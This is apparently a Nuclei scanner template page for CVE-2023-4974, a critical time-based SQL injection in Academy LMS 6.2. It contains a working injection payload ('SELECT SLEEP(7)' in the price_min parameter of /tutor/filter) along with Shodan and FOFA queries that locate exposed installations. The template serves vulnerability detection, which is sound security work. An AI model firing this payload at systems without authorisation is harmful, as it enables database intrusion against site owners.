Academy LMS 6.2 - SQL Injection

ID: CVE-2023-4974

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve,cve2023,packetstorm,sqli,academy,lms,creativeitem

Description

A vulnerability was found in Academy LMS 6.2. It has been rated as critical. Affected by this issue is some unknown functionality of the file /academy/tutor/filter of the component GET Parameter Handler. The manipulation of the argument price_min/price_max leads to sql injection. The attack may be launched remotely. VDB-239750 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

YAML Source

id: CVE-2023-4974

info:
  name: Academy LMS 6.2 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    A vulnerability was found in Academy LMS 6.2. It has been rated as critical. Affected by this issue is some unknown functionality of the file /academy/tutor/filter of the component GET Parameter Handler. The manipulation of the argument price_min/price_max leads to sql injection. The attack may be launched remotely. VDB-239750 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
  reference:
    - https://demo.creativeitem.com/academy/
    - https://packetstormsecurity.com/files/174681/Academy-LMS-6.2-SQL-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4974
    - http://packetstormsecurity.com/files/174681/Academy-LMS-6.2-SQL-Injection.html
    - https://vuldb.com/?ctiid.239750
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-4974
    cwe-id: CWE-89
    epss-score: 0.02153
    epss-percentile: 0.89309
    cpe: cpe:2.3:a:creativeitem:academy_lms:6.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: creativeitem
    product: academy_lms
    shodan-query:
      - html:"Academy LMS"
      - http.html:"academy lms"
    fofa-query: body="academy lms"
  tags: time-based-sqli,cve,cve2023,packetstorm,sqli,academy,lms,creativeitem

http:
  - raw:
      - |
        @timeout: 20s
        GET /tutor/filter?searched_word=&searched_tution_class_type[]=1&price_min=(SELECT(0)FROM(SELECT(SLEEP(7)))a)&price_max=9&searched_price_type[]=hourly&searched_duration[]=0 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - duration>=7
          - status_code == 500
          - contains(body, "Courses</span>")
        condition: and
# digest: 4a0a00473045022100858b549dbe2de348319c4f8da750c750b869f7b27a6dfb18894edaaa28d35e8e022051c60821a5c09679a86ab2bbe793e999332af27451114e950b2eb37fa2004161:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-4974.yaml"

View on Github